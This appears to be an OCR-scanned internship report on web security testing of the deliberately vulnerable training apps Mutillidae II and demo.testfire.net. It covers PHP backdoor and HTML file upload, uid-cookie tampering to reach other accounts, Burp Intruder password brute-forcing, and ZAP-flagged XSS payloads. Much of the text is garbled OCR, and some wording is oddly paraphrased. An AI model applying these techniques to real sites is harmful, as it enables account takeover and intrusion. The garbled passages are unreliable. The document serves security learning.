PHP Extension 20190502
Zend Extension 320190902
Zend Extension Bulld API320190002 TS.VC15
PHP Extensicn Build API20190802, TS VC15
Debug Build L]
Thread Safety enabled
Thread API Windows Threads
Zend Signal Handling agabled
Zend Memary Manager enabiad
Zend Multibyte Support perovided by mibsiring
WPy Support anabied
DTrace Support dsabled
Registered PHP Streams p, file, glob, data, hitp, fip. zip, compress zib, compress bzipZ. hitos, fips. phar
Registered Stream Socket Transports. tep, wdp, 53!, ts, Hsv1.0, Hsv1. 1, Bsv1 2, tisvl 3
Stream Filters convert icom.”, $tring rob13, sting loupper. $iring falower, string strip_tags, conver.”, consumed, dechank, Ziib *, baip2 *
.
ZendEngrn 340, Compapt 6 2an Tcnasoges zende ngine

Security Configuration must be defined and deployed for the application, frameworks, application server, web server,
database server, and platform. If these are properly configured, an attacker can have unauthorized access to sensitive data
or functionality.

Sometimes such flaws result in complete system compromise. Keeping the software up to date is also good security.
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[#2]
Location / URL - http://demo.testfire.net/index.jsp?content=inside_jobs.htm
Steps and Description.

The response appears to contain suspicious comments which may help an attacker. Note: Matches made within script
blocks or files are against the entire content not only comments.

Screenshot of the rendered page containing this vulnerability.

AltoroMutual » ﬂ@- g‘%-g

Sign
&  ONLINE BANKING LOGIN PERSONAL SMALL BUSINESS INSIDE ALTORO MUTUAL

Current Job Openings

[#3]

Location / URL — OWASP 2017 -> A6 - Security Misconfiguration -> Unrestricted File Upload

Steps and Description.

This page lets the client transfer any sort of file. This must be confined; in any case this can prompt the transfer of malicious
php codes into the server which can prompt trade off of the database.

Also, an attacker can

e Use this vulnerability to upload a php backdoor shell into the server to get complete access to the files and the
databases within.

e Do great damages by uploading huge files and hence causing file space denial of service.

e Or can upload file using malicious path or name to overwrite a critical file.

e etc.
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[0 Cortbelt COE |CEH.. [0 Aduerse Alseatoe [ Diectboreet [l Make Images, Vide [l Vidnerable By Desi [ Scamschoser (Fake .

@4 OWASP Mutillidae II: Keep Calm and Pwn On

Announcements

Getting Started

Version: 2.7.14  Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) NotLogged In

Home  Login/Register  Togghe Hints  Show Popup Hinls  Togobe Secorily  Enforce S50 Resel DB View Log  View Captured Data

e Help Me!

Hints and Videos

Upload a File

Please choose file to upload

Filename

Browser: Mozilla/5.0 (Windows NT 10.0; WinG4, x64) AppleWebKit/537.36 ([KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/T0.0.3728.95
PHP Version: 7.4.8
———

Proof of a php backdoor getting accepted as an upload.

@ OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.7.14  Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL  Reset DB  View Log View Captured Data

@ Help Me!

Hints and Videos

Upload a File

File uploaded to G:\Ideal\tmp\php17C4.tmp
File moved to C:\Windows\TEMP\payload.php
Validation not performed

Original File Name payload php

Temporary File Name G\ldeal\tmp'\php17C4 tmp

Permanent File Name C\Windows\TEMP\paylead php

File Type application/octet-stream

File Size 137 Bytes
[ Please choose file to upload ]
Filename E

Upload File

Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95
PHP Version: 7.4.8
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To exploit this further, | uploaded an HTML file which was accepted and was accessible on the server.
It can replace the original index.html file too. Causing a website defacement.

Upload a File

Please choose file to upload

Filename c:'\fakepath'\payload.html

[ Upload File |

We can navigate to the file on the server.

Upload a File

File uploaded to G:\Ideal\tmp\php501A.tmp
File moved to C:\Windows\TEMP\payload.htmi
Validation not performed

QOriginal File Name payload.html

Temporary File Name Gildealtmp'phpS01A tmp
Permanent File Name C\Windows\TEMP\payload.html
File Type text/html

File Size 1 KB
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We can see a complete HTML file that is stored on the server and if this replaces index.html, this is the file every visitor
sees.

Calends Games Website () Sovel Profiles mputer Science [ Certholt CCIE | CEH. Adsesse Aernative [l Ovecttorrent [} Meke imoges, Vide.. [} Vuinerable By Desi. [l Scamedviser (Fake.. [} Getting Started | Ha

®#% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.7.14  Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Home Login/Register Toggle Hints  Show Popup Hints  Toggle Security Enforce SSI. Reset DB View Log  View Captured Data

OWASP 2017

OWASP 2013
OWASP 2010

OWASP 2007

Dont worry, Im your security expert, I've mailed you the report:)

-
#

5. Broken Authentication

(a) Risk/ Undesirable impact if exploited.
Broken authentication is #2 on the most recent (2017) OWASP Top 10 list. Broken authentication is commonly brought
about by inadequately implemented authentication and session management.

Broken authentication attacks intend to assume control more than at least one records giving the aggressor

indistinguishable benefits from the victim client.
Because of helpless plan and usage of character and access controls, the pervasiveness of broken validation is broad.
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Normal hazard factors include:

(b)

Unsurprising, easy to guess login credentials

Client confirmation certifications that are not secured when put away

Meeting IDs uncovered in the URL (e.g., URL modifying)

Meeting IDs powerless against meeting obsession assaults

Meeting esteem that doesn't break or get nullified after logout

Meeting IDs that are not turned after effective login

Passwords, meeting IDs, and different qualifications sent over decoded associations

How to fix the defect.

The most possible fixes have been listed into bullet points below:

Where conceivable, execute multifaceted verification to forestall computerized, accreditation stuffing, animal power,
and taken qualification re-use assaults.

Try not to transport or send with any default accreditations, especially for administrator clients.

Actualize powerless secret word checks, for example, testing new or changed passwords against a rundown of the best
10000 most exceedingly terrible passwords.

Adjust secret phrase length, unpredictability and turn arrangements with NIST 800-63 B's rules in area 5.1.1 for
Memorized Secrets or other present day, proof based secret key strategies.

Guarantee enrollment, certification recuperation, and API pathways are solidified against account count assaults by
utilizing similar messages for all results.

Breaking point or progressively delay fizzled login endeavors. Log all disappointments and ready managers when
qualification stuffing, beast power, or different assaults are recognized.

Utilize a worker side, secure, worked in meeting chief that creates another irregular meeting ID with high entropy after
login. Meeting IDs ought not be in the URL, be safely put away and nullified after logout, inert, and outright breaks.

25



INTERNSHIP: PROJECT REPORT

(c) Authoritative reference links, and explanatory examples.

e tutorials point
e hdivsecurity

[#1]

Location / URL — Mutillidae -> OWASP 2017 -> /index.php?page=register.php

Steps and Description.
This page contains a register from to create a new user.
| will try to bypass authentication via cookie manipulation.

I Mg N1ZT 0. zregisterphp X |4

€ 127.001 c

=8
i d
-
»
L]
a
mox

®% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.7.14  Security Level: 0 (Hosed)  Hints: Enabled (1 - Try easier) Not Logged In

Wome  Login/Register Toggle Hints Show Popup Hints  Toggle Security  Enforce SSL Reset DB View Log  View Coptured Data

Register for an Account

OWASP 2013

/'.1 —.
\Ij Back a Help Me!

Hints and Videos

OWASP 2007

Wb Services

—
M Switch to RESTIul Web Service Version of this Page

Please choose your p d and sig
P"f;":';a;"c, S Username —
Want to Help? Password | Password Generator
o Confirm Password |
Video Tutorials Signature
Announcements Create Account
Gtting Started

Browser: Mozilla/5.0 [Windows NT 10.0; WOW&4; rv:47.0) Gecko/20100101 Firefox/47.0
PHP Version: 7.4.8
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We can see the page has two active cookies. The PHPSESSID cookie can help us.

General  Media  Permissions | Security

W Cookies
Websil  search: [f127.00.1 x
Owney
Verifie The following cockies match your search:
Site + Cookie Mame
& 127.0.0.1 PHPSESSID
Privacy| | @ 127.0.0.1 showhints
Have|
Is this ew Cookies
comp I
Havel Mame: PHPSESSID I Passwords
Content: gsoblt948ndil5vpqbTibgssgu I
Host: 127.0.0.1
Technid Path: /
Conne | 3end For Any type of connection
The w Expires: At end of session
Inform Remove Selected Remove All Close jtisin
transit
Help
|

Create a new user, to find out how the cookie changes.

[ Please choose your username, password and signature

Username Shaswat

Password ssssse Password Generator

Confirm Password [eesees

221100

Signature

Create Account
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Login to the newly created account.

We can see two new cookies.

Cookies
Search: | 127.0.0.1 x Search: | 127.0.0.1 =
The following cockies match your search: The following cookies match your search:
Site # Cookie Name Site + Coockie Name
@ 127.0.0.1 PHPSESSID @ 127.0.0.1 PHPSESSID
& 127.0.01 showhints @ 127.0.0.1 showhints
& 127.0.0.1 username @ 127.0.0.1 username
@ 127.001 uid b 127.0.0.1 uid
MName: username MName: uid
Content: Shaswat Content: 26
Host: 127.0.0.1 Host: 127.0.0.1
Path: fvuln/ Path: fvuln/
Send For: Any type of connection Send For: Any type of connection
Expires: At end of session Expires: At end of session
Bemove Selected Remove All Close Bemove Selected Remove All Close

We can see the cookies mention

e Username - Shaswat
e uid-26

| created a new user and noticed the uid cookie increases by 1 each time, and hence we can manipulate the cookie to
bypass authentication and visit other user’s dashboard.

Editing the uid cookie to any other number simply logs me into the respective profiles with the input uid.

[#2]
Location / URL — Mutillidae -> OWASP 2017 -> Broken Authentication and Session Management -> Authentication Bypass
-> Via Brute Force

Steps and Description.
We can brute force into the login here.

First we need to know some usernames, which we can find on the “View Someone’s Blog” page.
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| @« OWASP Mutillidae Il: Keep Calm and Pwn On |

Version: 2.7.14  Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Logged In User: test [

Home Logoul Toggle Hints  Show Popup Hints  Togole Security  Enforce SSL Resel DB View Log  View Caplured Data

( View Blogs

C@ Back @ Help Me!

Hints and Videos

View Blog Entries
@ Add To Your Blog

[ select Author and Click to View Blog |

(e o rtvr 17| viewBigEntrs)
bbby -

simba
drevel
SOty
cal

john

kavin
dave

patches
rocky
tim

ABaker
FPan
CHaak
james
ed

ZAP

ZAP

test ~

Browser: Mozilla/6.0 (Windows NT 10.0; WOWE4,; rv:47.0) Gecko/20100101 Firefox/47.0
PHF Version: 7.4.8

Now that we know all the usernames, we can try to brute force into one of them.
Go to the login page and intercept the login request using Burp Suite.

% Burp Suite Cornmunity Edition v2020.5.1 - Temporary Project

Burp Project Intruder Repeater Window Help

Sequencer T Decoder T Comparer T Extender T Project options T User options
Dashboard I Target I Proxy T Intruder I Repeater

J Intercept I HTTP history TWebSockets histary I Options ]

[ Please sign-in ] & Request to hitp://127.0.0.1:80

Username <h " l Forward J l Drop J ( Intercept is on ) Action Comment this item W @
l aswa
Password |."" j Raw I Params I Headers I Hex ]

1 POST /wvuln/index.php?page=login.php HTTE/L.1

2 Host: 127.0.0.1
3 User—-Agent: Mozilla/5.0 (Vindows NT 10.0; WOWE4; rv:47.0) Gecko/Z010010L Firefox/47.0

4 Aeoecept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Dont have an account? Please register here 5 Accept-Language: en-US,en;q=0.5

& Accept-Encoding: gzip, deflate

7 Referer: http://127.0.0.L1/vuln/index.php?page=login. php

© Cookie: showhints=1; PHPSES3ID=gschlt948n4ilSvpge7E8bgssgu

% Connection: close

10 Content-Type: application/x-www-formw-urlencodsd

11 Content-Length: &1

T

username=Shaswat épassword=brute&login-php-submit-button=Login

-t

@@ &J EJ | 0 matches w Pratty
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Send the intercepted request to the intruder, and select the username and password fields only.

Use Cluster Bomb Attack Type.

# Burp Suite Community Edition v2020,5.1 - Temporary Project

Burp Project Intruder Repeater Window Help

;Dashhuard ITargﬂ I oy Tlnlmdet T Repeater :Sequencer ] Decoder I Comparer I Extender ;F'I’O]Ed options IUser options |

[l

:Target IPDsts ]Payloads ] Options |

® Payload Positions

Configure the pesitions where payloads will be inserled into the base request. The attack type determines the way in which payleads are assigned Lo payload positions - see help for full details.

Attack type: | Cluster bamb

-

POST /vuln/indsx.php?page=login.php HTTR/1.1

0.1

3 Us=r-Ag=nt: Mozilla/5.0 (Vindows NT 10.0; WOWE4: £v:47.0) Gecko/20

2 ACCepr: CExn/ ton/xhtml+xml, application/xml:g=0.9,*/
Accept-Languags: =

100101 Firefox/47.0
=0.B

HL-s

! in.php
ncs=1; PHPSESSID=gschlcS48n4ilSvpgeTEbgssgu
close
applieat ion/®-www—form-ur lencoded
¢ EL

13 username=§5haswvac§ipassvord=Sbrute$slogin-php-suomit-button=Login

QB [¢)(3] 5=

2 payload positions

0 matches

EL.

Length: 559

| Start attack |

Add § |

Clear§ |
| Auo§ |

|  Refresh

Clear |

In the list 1 of payloads use a manually input usernames list.

® Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste bobby

|

| simba
Load ... scotty
— | dreveil »

[m cal
Clear john

kevin

Add from list ... [Pro version only]

Add

s
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And for the list 2 use a list of most common passwords, we can get most common password list online.

® Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste password [a
| Paste | A

| Password
Load ... Pass
——— | 12345678 >

| Remove | o0

Clear 112233
11223344

] |

Add from list ... [Pro version only]

Start intruder brute force.

# Intruder attack 1

Attack Save Columns

Results | Target | Positions | Payloads | Options

Filter- Showing all items

Request 4« Payload1 Payload2 | Status Emor | Timeout | Length | Comment

13 ed password ] LT 0 56695 . )
14 bobby Password 302 o o 422

15 simba Password 302 = (] 422

16 scotty Password 302 || Ll 424

17 dreveil Password o2 = ol 425

18 cal Password 302 = (] 421

19 john Password 302 || Ll 422

20 kevin Password 200 = Ll 56695

21 dave Password 200 = (] 56695

22 Shaswat Password 200 || Ll 56695 =
<t M

42 of 156 |
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We can see, many users have poor passwords, already listed in popular lists online.

Aftack Save Columns

Rasults ]Targal [ Positions l Payloads I Options ]

| Filter: Showing all tems |®I

Request | Payload1 Payload2 Status ¥ Emor | Timeout| Length Comment

87 cal 123456 200 0 [J 56695 &
58 john 123456 200 = L) 56695

59 kevin 123456 200 Ll L 56695

60 dave 123456 200 o ) 56695

61 Shaswat 123456 200 0 J 56695

62 rocky 123456 200 8 [J 56695

63 patches 123456 200 = L) 56695

64 james 123456 200 O [ 56695 1
65 ed 123456 200 o L) 56695

66 bobby 112233 200 3] J 56695 L
< Pl

[ Request | Response
J Raw | Headers | Hex IRendet ]
[ owase 2017 -
Login |
@ oome
OWASP 2007 4
Hints and Videos
HTML 5 » You are logged in as john

el
—

Resources

Donate

[aF

76 of 156 | |

| recommend using a minimum of 12 character password which includes a special character, a capital alias character, a
small alphabet and a numeric character.

Moving forward to OWASP ZAP automated testing tool.

Here are the results | got about the vulnerabilities found in demo.testfire.net.
> demao.testfire.net Automated Scan Using OWASP ZAP
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[#1]

Ele Edn &nalse Report Tocis Import Cning Halp

(Sandardiede ) | | S EMF G 080 d@8 OO0 bed v P PO XERE s BE

_[mﬂ [ Quics St # | = Request [ Resgonzes= | + |
BOEB3 o
» = corets (<] Automated Scan Q

(] Defauit Cernest
= @ Es

This sceen alows pou Lo launch an automated 2cen 2gainsl an applicaton - just enler ils URL below ard press Aftack.

Fl&ass b swars that you should anly aack Sppllcations hatyou have Hamn spechcslly hasn given DRMISSIO o ast

UKL to sttack hHip:ideme: testre et I:J @ sclect. |
Use raditerial zpider. o
Use s sarer [ win |ErcleHeadiess |w]

w Ahatk W =op

Frograss: &itack complata - 5es e &erts 1 for detalls of any Isues found

[ 25 Histary | 24, mmarcn P aians # | | © cutput | 48 spoer | 3 aove scan | 4 |
ee / & Full d8tails of iy 38lpcted sisi will b

% Crozs Ske Sciping [Rededed) (2) uu can manuzlly add glerts by righl dicsing on the relewant ing i the histor and seleding ‘Add alet.
* #5300 njecion

= i KeFrame-Oglons Header Nl SeL (62}

* [ Ansence of ANH-CERE Tokans (130)

ookle Wilhout SameSie Afrioute (2)

Daoman Javgenpt Source File Indusian

* U -Contant-Tye-Optians Headar Missing (100}

* ® Inforiraion Disdosure - Suspitous Comments (10)
» M Timastamp Disclosu - Lni (113)

You can alse edt existing aler= by double dickng on tham.

Meds B2 1 04 B2 Primary Prosy. lecalhest @091 CurenlScars @0 0 o A0 Do W0 L0 o

Some of these found vulnerabilities were already found in manual testing while some where found to be false positives.

This was one of the errors when we try to open a found vulnerability from ZAP in system browser.
This indicates a false positive report.

testfire.net,

P Status 405 — Method Not Allowed

T Satus Report
(ISR TP method GET & nol sugserted by this URL

(SRR The method recewved in the request-ing i known by the arign server but not supported by the target resource.

JApache 1omcat/ 7.0.92
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Here are the results | got about the vulnerabilities found in Mutillidae
» Mutillidae Automated Scan Using OWASP ZAP

| Slandard Mode = | |2 ] G (=) = FOXERER W
G sites |+ | [ % auice Stan | = Request | Responses= | + |

@ HEE
™ = Contarts
(] Deefauit Cerient

= @ s

ort-Security: wax-sge=g
extihtnljcharset=UTr-8

e g dcdm L
curitydpage=favascript talert (1);">Toggle Sa td»
ree eriptralert(1);*0rep S5Lc/arc/td:
ot DR
ahp®aWiew Loge/ase/ td:
rad- da ahp®aView Captured Datac/asco/td:
ot
it
ctr
ctr
otd - dign:left backgraund idth:125pt ;"
cdiy famtarantt cla
cul |
[ Fistony T, soaren TP aiars # | | ouput | 8 spucr | 3 seve sean [ o |
e ./ ¥ Cross Sile Scripting [Refiected) 0
AL i 12T 0.0 1haiindes phE Ppage=ia/asripii 3Aale201%29% 30
iz R Hgh

Cantidance: Modum
Parameter. page

Allaci FvaseiipLalet(ly

Evidence:  jaasciptalamiiy

CHED: 78

WASDID: B

Source: Active (40012 - Cross Site Soriping (Refeced))
Descriplion.

SP Seanner. strighare
scanns

ameter Tampsring

He Senpang (155
Eroduct uch 33 Fie biewser wi
Whan an attacker gats & USANS Brow

chriqun that ruokes achoing al spplind cade i 3 us ard wat brow
N4, an RSS reader, of an email dient The code ilsell iz ususl Soripl. Aclhvel, J
rin axGCita hismar coda, He coce wil nn Wi ha SRty contest (orzong] of tha hnshng weh ste W this laval of privlags, ha cara has t,

rvkay.
mitany sEnsHve 'y

crhar Info:

2der Bal {312}

v
Ao @0 #D 0

Currenl Scars 00 0 T 0

[#1]

ZAP is confident with this vulnerability, but this doesn’t work as expected. It indicated false positive results.
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Edit Alert
Cross Site Scripting (Reflected) ILJ‘:
X hitp:/f127.0.0.1hulnfindex. php?page=javascript¥3Aalert’%251%
URL:
29%3B
Risk: | High v

Confidence: | Medium L

Parameter. page

&

Aftack: javascriptalert(1);

Evidence: javascriptaleri(1);

CWEID: 79 iﬁ
WASCID: 8 B
Description:

Cross-site Scripting (XSS) is an attack technigue that involves ]

echoing attacker-supplied code into a user's browser instance, A [
browser instance can be a standard web browser client, ora

v
|| Other Info: -~
|
|
Solution:
1 Phase: Architecture and Design 3

Use avetted library or framework that does not allow this weakness
to occur or provides constructs that make this weakness easierto [y

Reference:
vl

Cancel || Save

While trying to exploit this reported vulnerability, we get an error.

OWASP Mutillidae Il; Keep Calm and Pwn On

Version: 2.7.14  Security Level: 0 (Hosed)  Hints: Enabled {1 - Try easier) Mot Logged In

Home Login/Register Toggle Hinls  Show Popup Hints  Toggle Security  Enforce 551 Resel DB View Log  View Caplured Data

o

[ Page Not Found ]

P

\,—)-j Back @ Help Me!

Validation Error: 404 - Page Not Found

Documentation

S
|
S

Denate
Want to Help?

Video Tutocrials

»

Announcements
('

Getting Started

Browser: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/637.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safarl/537.36 OPRI/70.0.3728.956
PHP Version: 7.4.8
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+ Outcome:
After completion of this internship, | can state the outcome as.

The Mutillidae Il has many vulnerabilities that we have to find deep inside, though | had list of vulnerabilities that
Mutillidae has, but keeping in mind the black box nature of the project, | decided not to look out for any pre listed
vulnerabilities listed by Mutillidae itself.

All vulnerabilities were searched by me, one by one manually and then by automated testing tools.
Throughout this project my mentors have helped me through active support and | never felt left alone.

| feel confident about Advanced Dynamic Application Security Testing, and all latest OWASP Top 10 vulnerabilities.

| have researched and learnt the maximum about the following topics.

o SQL Injection

. XSS

o Broken Authentication

o Security Misconfiguration
o Sensitive Data Exposure

| have learnt about many types of vulnerabilities found in web applications, some of the most common of them are.

. Injection Attacks

. Broken Authentication Attacks

° Sensitive Data Exposure

) XML External Entities

. Broken Access Control

° Security misconfiguration

° Cross Site Scripting

. Insecure Deserialization

. Using Components with Known Vulnerabilities
. Insufficient Logging and Monitoring

demo.testfire.net (Altoro Mutual) was found to be highly vulnerable and at extreme risk, although it was made that way.
| have got a sound understanding of top vulnerabilities found in web applications listed in OWASP Top 10 and have got an

exposure to manual DAST techniques to find security defects.

| have got an expertise in using OWASP tool to find security defects rapidly and with comprehensive coverage.
| can now create professional DAST report of all defects in covered in an insecure web-based application.

Steps followed by me in completion of the project include.

. Manual exploring of application.

. Looking for details about the application on public resources.

. Looking for information disclosure by the application itself.

. Try basic SQL queries.

. Use JavaScript queries in input fields and comment boxed to detect persistent and non-persistent XSS

vulnerabilities.
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. Use vulnerability scanners to scan for website vulnerabilities.

. Exploiting and reporting each vulnerability one by one.

Other Techniques and Skills that | Gained:

e Basic HTML knowledge for decoding the GET and POST types of forms and buttons.

e Basic JavaScript to check for cross site scripting.

e Basic PHP knowledge to figure out the way the form is connected to database.

e Basic SQL queries to check for possible injections and also to extract data from database after compromising security.

+  Enhancement Scope:

The internship project was perfectly carried out by the mentors.
High level SQL and PHP is a needed skill for white hat hackers, this is where | can enhance.
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